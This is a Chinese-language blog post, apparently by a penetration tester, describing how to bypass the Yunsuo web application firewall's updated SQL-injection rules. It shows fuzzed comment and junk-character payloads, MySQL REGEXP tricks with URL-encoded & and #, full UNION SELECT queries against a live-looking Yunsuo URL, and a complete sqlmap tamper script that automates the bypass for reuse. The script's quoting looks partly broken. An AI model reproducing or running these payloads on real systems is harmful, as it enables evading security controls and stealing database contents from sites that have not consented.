0x00:前言

很遗憾 云锁又更新规则了 嘻嘻

"/*" 已经被加入了黑名单

正则大法也被加入了黑名单

我一度沉默

0x01:FUZZ

fuzz的精髓就是控制变量 我要搞清楚到底什么被过滤掉了

首先payload:?id=1 "/*" 被拦截

payload:?id=1 /* 未被拦截

?? 真就这么真实吗

既然注释符还是没被waf掉 那就好说了

我一半注释符过不去 完整的注释符怎么样

构造payload

?id=1 /**/ union /**/ select 1,2,3 -- 这里的/**/相当于空格 被拦截

尝试在注释内容中添加垃圾字符尝试绕过 这里我遍历了一下所有的数字字符

得 真的被我找到了

那这样是不是就可以了呢 试一下完整的语句

拉了

现在问题又回到了如何绕过from上面 但是内联早就不能用了 陷入了迷茫

折腾了一段时间后,又想起了垃圾字符绕过,我一个字符不行,多个字符行吗?

之前fuzz所有字符的时候可不止&一个可以绕过。

尝试使用多个符号插入注释符,结果 嘿嘿

但是!!!

过是过了 真的这么顺利吗 道路总是坎坷的

在尝试sqli-labs跑数据的时候 一排鲜艳的语法错误给了我一棒槌

?为什么会这样呢 成也这两个符号 败也这两个符号 因为在浏览器的get请求中 "#" 代表的是锚点 (锚点是什么大家有兴趣可以百度一下) 而"&"代表的是参数分隔符

所以表面上我输入了完整的语句

http://help.yunsuo.com.cn/guide/install/?id=1 /*&#*/ union select 1,group_concat(schema_name),3 from information_schema.schemata -- "*/"

其实 我的输入是这样的

是不是很奇怪 无论这两个符号怎么变换位置 能够被服务器捕获的数据只有这截。。。

此术不通

但是 &和#依然没有被过滤掉啊 此时我的侧重点放在了关于这两个符号如何绕过浏览器规则上

最简单的url编码:

它又来了

那么 怎么样才可以既保全编码后的这两个符号,又能绕过云锁呢

此时 被抛弃的正则仿佛在向我招手

因为mysql正则的特殊性 以及云锁对正则内参数的弱检测

得以构造:http://help.yunsuo.com.cn/guide/install/?id=1' REGEXP "[…%26%23]" union select 1,group_concat(schema_name),3 from information_schema.schemata -- "*/"

这边倒是又过去了 可以执行么?

我们试一试

0x02:tamper

这就很简单了

之前的tamper拿过来改一顿就行了

# -*- coding: utf-8 -*-



"""
Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""


import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass yunsuo_number by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

        payload=payload.replace(" ","  ",1)
        payload=payload.replace("  AND"," REGEXP "[...%23 %26*]" and",1)
        payload=re.sub(r'(ORDER BY \d+)', "x", payload)
        payload=payload.replace("UNION"," REGEXP "[...%23 %26*]" union",1)
        payload=payload.replace("(SELECT (CASE WHEN ("," REGEXP "[...%23 %26*]" (SELECT (CASE WHEN (",1)
        payload=payload.replace("  AS "," REGEXP "[...%23 %26*]" as ",1)
        payload=payload.replace(" OR "," REGEXP "[...%23 %26*]" or ",1)
        payload=payload.replace("  WHERE "," REGEXP "[...%23 %26*]" where ",1)
        payload=payload.replace("HIGH_RISK_OPERATION:0"," REGEXP "[...%23 %26*]"  ",1)
        payload=payload.replace(";","; REGEXP "[...%23 %26*]"  HTGH",1)
        payload=payload.replace("||","; || REGEXP "[...%23 %26*]" ",1)
        payload=payload.replace("THEN"," THEN REGEXP "[...%23 %26*]" ",1)
        payload=payload.replace("  IN"," REGEXP "[...%23 %26*]"  IN ",1)
        #payload=payload.replace("-"," REGEXP "[...%23 %26*]"  - ",1)
        payload=payload.replace("+"," REGEXP "[...%23 %26*]"  + ",1)
        payload=payload.replace("WHEN"," REGEXP "[...%23 %26*]"   ",1)
        return payload

0x03:写在后面

其实 要不就直接把#也加黑, 因为不拉黑它就算封了上面这个payload 我还能绕过

代码将更新至github https://github.com/pureqh/bypasswaf

1 对 “云锁之再再绕过”的想法;

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注